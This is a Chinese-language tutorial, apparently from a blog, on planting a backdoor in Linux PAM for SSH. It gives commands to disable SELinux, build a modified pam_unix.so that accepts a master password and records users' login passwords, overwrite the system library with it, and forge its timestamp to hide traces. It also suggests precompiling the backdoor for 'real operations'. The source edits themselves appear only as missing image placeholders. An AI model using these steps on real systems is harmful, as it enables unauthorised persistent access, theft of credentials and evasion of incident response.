PAM是Linux默认的ssh认证登录机制,我们可以通过修改源码来实现万能密码,记录登陆密码等功能。

1、在centos中需要关闭selinux。
在这里插入图片描述

永久关闭需要修改/etc/selinux/config,将其中SELINUX设置为disabled。

2、查看PAM版本。

rpm -qa|grep pam

源码下载地址:http://www.linux-pam.org/library/
在这里插入图片描述

3、解压。

wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
tar zxvf Linux-PAM-1.1.8.tar.gz

在这里插入图片描述
4、安装gcc编译器等。

yum install gcc flex flex-devel -y

5、修改Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c源码,实现万能密码和记录密码功能。
在这里插入图片描述
在这里插入图片描述
6、编译生成so文件。

cd Linux-PAM-1.1.8
./configure --prefix=/user --exec-prefix=/usr --localstatedir=/var --sysconfdir=/etc --disable-selinux --with-libiconv-prefix=/usr
make

生成恶意so文件的路径为:
Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so
在这里插入图片描述
查找系统原版so文件路径。

find / -name "pam_unix.so"

在这里插入图片描述

7、备份原pam文件和替换恶意pam文件。

cp /usr/lib64/security/pam_unix.so /tmp/so.bak
cp /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /usr/lib64/security/pam_unix.so

在这里插入图片描述
8、尝试使用密码"zhimakaimen"登录,成功登录。
在这里插入图片描述
9、模拟正常ssh登录,成功记录到root账号密码。
在这里插入图片描述10、修改时间戳,隐匿痕迹。

touch pam_unix.so -r pam_umask.so

在这里插入图片描述
可事先编译好so后门文件,实战中替换即可。

ubuntu16下直接copy相同so文件,实测成功。
在这里插入图片描述
参考:
https://y4er.com/post/linux-backdoor-pam/

Logo

更多推荐